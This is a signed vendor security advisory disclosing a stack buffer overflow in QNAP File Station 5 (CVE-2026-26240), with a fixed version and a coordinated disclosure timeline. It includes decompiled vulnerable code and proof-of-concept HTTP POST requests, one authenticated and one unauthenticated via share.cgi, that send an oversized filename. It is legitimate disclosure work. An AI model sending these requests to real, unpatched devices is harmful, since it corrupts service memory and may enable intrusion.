-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-014 Product: QNAP File Station 5 Manufacturer: QNAP Systems, Inc. Affected Version(s): < 5.5.6.5208 Tested Version(s): 5.2.8.3359 Vulnerability Type: Stack-based Buffer Overflow (CWE-121) Risk Level: Medium Solution Status: Fixed Manufacturer Notification: 2026-03-02 Solution Date: 2026-04-15 Public Disclosure: 2026-07-22 CVE Reference: CVE-2026-26240 Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used on QNAP NAS devices and includes the File Station 5 application. A stack-based buffer overflow exists in utilRequest.cgi in combination with libuLinux_cgi.so, originating from a fixed buffer size and a strcpy() of user-controlled data. This can be exploited by any low-privileged user with write access to at least one directory within the FileManager, e.g. the user's "home" directory. It is also exploitable by unauthorized attackers if a directory is shared through share.cgi and the share id (ssid) is known. The user-supplied multipart/form-data parameter "filename" is copied into a fixed 256-byte stack buffer via strcpy(), overflowing the buffer and adjacent stack objects. Further exploitation allows manipulating adjacent stack variables, which could potentially lead to program manipulation or remote code execution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The GET parameter "func=upload" calls a handler function in utilRequest.cgi, which allows users to upload files to their writable locations on the NAS through the FileManager. This function is also reachable via share.cgi. For the multipart/form-data parameter "filename", a fixed buffer of 256 bytes is allocated on the stack (char local_1548[256]). The handler calls "WFM2_CGI_Upload_for_Cb", imported from the shared object libuLinux_cgi.so.0. This imported function internally calls "wfm2_save_file_for_cb", which does the following: pcVar16 = (char *)parser_upload_filename(local_1548); strcpy(local_1548,pcVar16); The function "parser_upload_filename()" sanitizes the user-supplied filename by looking for the last "/" or "\" character and returning a pointer to the actual filename. However, this does not prevent the following strcpy from overflowing the buffer, since the filename can still be valid and contain an attacker-controlled amount of data, e.g. a string with 256 'A's ("AAAAA..."). This results in overflowing the fixed buffer if the filename length is ≥ 256 bytes. The same vulnerable code path is also reachable via share.cgi, which is used when a folder is shared externally via a share link. If an attacker knows the ssid and the share has upload permissions enabled, the overflow can be triggered without authentication on the NAS itself. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Via utilRequest.cgi (authenticated low-privileged user): POST /cgi-bin/filemanager/utilRequest.cgi?func=upload&upload_id=tmpagbECD&filesize=4&upload_name=test.txt&mtime=1772178704&ssid=f094ef1662a642359feb662eca9f6a09&upload_root_dir=/&dest_path=/&offset=0&settime=1&ep=&overwrite=1 HTTP/1.1 Host: 192.168.178.188:8080 Content-Length: 12568 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ Content-Disposition: form-data; name="fileName" test123 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ Content-Disposition: form-data; name="file"; filename="AAA ... (>256 bytes)" Content-Type: text/plain 123 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ-- 2. Via unauthenticated share.cgi where ssid is known: POST /share.cgi?func=upload&upload_id=tmpagbECD&filesize=4&upload_name=test.txt&mtime=1772178704&sid=m3m62dp3&upload_root_dir=/&dest_path=/&offset=0&settime=1&ep=&overwrite=1 HTTP/1.1 Host: 192.168.178.188:8080 Content-Length: 12568 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ Content-Disposition: form-data; name="fileName" test123 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ Content-Disposition: form-data; name="file"; filename="AAA ... (>256 bytes)" Content-Type: text/plain 123 - - ------WebKitFormBoundaryYJUxywWLq9wtWArJ-- The filename parameter exceeds 256 bytes, causing the strcpy() in wfm2_save_file_for_cb to overflow the stack buffer and corrupt adjacent stack objects. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to version 5.5.6.5243 or later (see [4] and [5]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-02-25: Vulnerability discovered 2026-03-02: Vulnerability reported to the manufacturer 2026-03-05: Vulnerability confirmed by the manufacturer 2026-04-15: Fixed version published by the manufacturer (see [4]) 2026-06-10: Security advisory published by the manufacturer (see [5]) 2026-07-22: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] QNAP QTS product page https://www.qnap.com/en/operating-system/qts [2] SySS Security Advisory SYSS-2026-014 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-014.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] File Station 5 Relase Notes: https://www.qnap.com/en/app-release-notes?app=FileStation5&product-line=nas [5] Manufacturer Security Advisory: https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2026-26240.json ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell of SySS GmbH. E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory should be published by the author. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmpY5UUACgkQrgyb+PE0 i1PgxA/8D9ju16f5Tv/LVM1z7C89ACIU/STpnRMRoa4DeBHn3nrD1vPKR9bxxL+y mIpfGgjACHtjezZPo//ajl4lfOLR8ZRqfT3VqDeo8szhjmZgpeCsbNCqy2jvmVcI rFCE+4lPoFE2t4s6H3TfGNoEC2DSEymDaKciJ3OjJgth8XzY5Br5XOzj3aUOsB/R eM/cVBMN2yEpFdPgTThfpaMUz8REiOiPxv+XI9bN/BwKLYGnwCmzC5rHn6kMq64J G3ph8SpPEREQDQKTjfqwt/nhEJKdzHJICqNVgM1Bl5o2lw5+o8uILTlt9MfpDa6t 2vJf6vrrUAsVWZTr/Dl8LauUH/63O3sCTulFhqqpAoKSrA75Rj74ctIG/MjxHP/q DOUvct46+lwSiW+rpji/0QIJbsVUmTAyz9ZSDrmJhQC9BkBUZJCc71iJkHH3Tro8 uIO6iGsameAeP8zVyGB0Ry7M/PqiGX/05HtvnMpKCIyN2t7/jX/rWmgJM/I5vpab l0bvVaEK/4Klf+l0Q7HlIdZUe/6TyArG04+rGsbyeei6VdUESri2ibGmkoFNzNT2 7B2JrdzJ8P/qTovGm9KlaYujzWDIpS9DScZ4P02KRp6091sIf8FZqHXuhlXXPYH5 ptzSgucrJQi32/vQRjvciGc5f27YVYuv+A+4FMDTKBepE3e+oNQ= =MvKy -----END PGP SIGNATURE-----